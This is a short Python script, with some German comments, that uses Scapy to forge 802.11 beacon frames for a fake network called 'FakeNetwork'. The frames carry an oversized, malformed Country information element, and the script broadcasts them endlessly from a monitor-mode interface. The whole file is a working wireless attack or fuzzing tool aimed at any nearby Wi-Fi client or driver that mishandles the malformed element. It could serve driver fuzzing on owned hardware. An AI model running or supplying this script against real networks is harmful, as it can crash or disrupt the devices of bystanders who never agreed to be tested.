from scapy.all import * def send_malformed_beacon(interface): ssid = "FakeNetwork" bssid = "02:00:00:00:00:01" # Malformed Country IE: ID 0x07, length is too long (normally max ~3-6) country_ie = Dot11Elt(ID=0x07, info=b"DE" + b"\x20"*50) # "DE" + 50 bytes Müll # Standard Beacon-Frame Struktur dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid) beacon = Dot11Beacon(cap="ESS") ssid_elt = Dot11Elt(ID="SSID", info=ssid) rates = Dot11Elt(ID="Rates", info=b"\x82\x84\x8b\x96") # Zusammensetzen des Pakets frame = RadioTap() / dot11 / beacon / ssid_elt / rates / country_ie print("[*] Sending malformed Beacon frames... (Press Ctrl+C to stop)") try: sendp(frame, iface=interface, inter=0.1, loop=1, verbose=0) except KeyboardInterrupt: print("\n[+] Stopped.") if __name__ == "__main__": iface = input("Enter your monitor-mode interface (e.g., wlan0mon): ") send_malformed_beacon(iface)